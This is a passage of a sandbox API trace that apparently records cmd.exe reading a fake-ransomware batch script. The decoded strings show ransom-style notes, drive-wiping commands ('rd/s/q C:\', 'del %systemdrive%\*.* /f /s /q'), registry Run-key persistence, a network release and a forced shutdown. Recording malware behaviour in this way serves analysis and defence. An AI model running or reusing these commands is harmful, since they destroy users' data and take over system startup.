| out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.554] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops35.txt\r\n") returned 59 [0038.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.554] GetFileType (hFile=0x74) returned 0x1 [0038.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2323 [0038.554] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=9054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops36.txt\r\n") returned 59 [0038.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.555] GetFileType (hFile=0x74) returned 0x1 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x235e [0038.555] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=9113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops17.txt\r\n") returned 59 [0038.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.555] GetFileType (hFile=0x74) returned 0x1 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2399 [0038.555] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=9172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.555] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops38.txt\r\n") returned 59 [0038.555] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.555] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.556] GetFileType (hFile=0x74) returned 0x1 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23d4 [0038.556] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=9231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops39.txt\r\n") returned 59 [0038.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.556] GetFileType (hFile=0x74) returned 0x1 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x240f [0038.556] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=9290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.556] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops40.txt\r\n") returned 59 [0038.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.556] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.556] GetFileType (hFile=0x74) returned 0x1 [0038.556] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x244a [0038.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1e3, lpOverlapped=0x0) returned 1 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=9302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q C:\\\r\nour file have been encrypted file >Oops40.txt\r\n") returned 12 [0038.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.557] GetFileType (hFile=0x74) returned 0x1 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2456 [0038.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1d7, lpOverlapped=0x0) returned 1 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=9314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="rd/s/q D:\\\r\n") returned 12 [0038.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.557] GetFileType (hFile=0x74) returned 0x1 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2462 [0038.557] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1cb, lpOverlapped=0x0) returned 1 [0038.557] SetFilePointer (in: hFile=0x74, lDistanceToMove=9350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo @echo off>c:windowswimn32.bat\r\npted file >Oops40.txt\r\n") returned 36 [0038.557] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] GetFileType (hFile=0x74) returned 0x1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0038.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1a7, lpOverlapped=0x0) returned 1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=9387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo break off>>c:windowswimn32.bat\r\nted file >Oops40.txt\r\n") returned 37 [0038.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] GetFileType (hFile=0x74) returned 0x1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0038.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x182, lpOverlapped=0x0) returned 1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=9435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.558] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=48, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ipconfig/release_all>>c:windowswimn32.bat\r\nops40.txt\r\n") returned 48 [0038.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.558] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.558] GetFileType (hFile=0x74) returned 0x1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0038.558] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x152, lpOverlapped=0x0) returned 1 [0038.558] SetFilePointer (in: hFile=0x74, lDistanceToMove=9466, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=31, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo end>>c:windowswimn32.bat\r\nndowswimn32.bat\r\n") returned 31 [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] GetFileType (hFile=0x74) returned 0x1 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0038.559] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x133, lpOverlapped=0x0) returned 1 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=9586, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] GetFileType (hFile=0x74) returned 0x1 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0038.559] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0xbb, lpOverlapped=0x0) returned 1 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=9706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.559] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.559] GetFileType (hFile=0x74) returned 0x1 [0038.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0038.560] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x43, lpOverlapped=0x0) returned 1 [0038.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=9738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="del %systemdrive%\\*.* /f /s /q\r\nemicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 32 [0038.560] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.560] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.560] GetFileType (hFile=0x74) returned 0x1 [0038.560] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0038.560] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x23, lpOverlapped=0x0) returned 1 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=9745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\nstemdrive%\\*.* /f /s /q\r\n") returned 7 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] GetFileType (hFile=0x74) returned 0x1 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0038.561] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1c, lpOverlapped=0x0) returned 1 [0038.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="shutdown /s /t 20 /c Ooops\r\n/q\r\n") returned 28 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] GetFileType (hFile=0x74) returned 0x1 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0038.561] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x0, lpOverlapped=0x0) returned 1 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.561] GetFileType (hFile=0x74) returned 0x1 [0038.561] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.561] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=8, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@shift\r\n /s /t 20 /c Ooops\r\n") returned 8 [0038.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.562] GetFileType (hFile=0x74) returned 0x1 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0038.562] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@echo off\r\n /t 20 /c Ooops\r\n") returned 11 [0038.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.562] GetFileType (hFile=0x74) returned 0x1 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0038.562] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=16, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title RSA-2048\r\n0 /c Ooops\r\n") returned 16 [0038.562] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.562] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.563] GetFileType (hFile=0x74) returned 0x1 [0038.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0038.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Links\r\n2048\r\n") returned 10 [0038.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.563] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.563] GetFileType (hFile=0x74) returned 0x1 [0038.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0038.563] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.563] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0038.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ns\r\n") returned 7 [0038.563] _close (_FileHandle=3) returned 0 [0038.563] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.563] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.564] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.564] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.564] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.564] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.564] SetConsoleInputExeNameW () returned 0x1 [0038.564] GetConsoleOutputCP () returned 0x1b5 [0038.564] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.564] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.565] CreateFileW 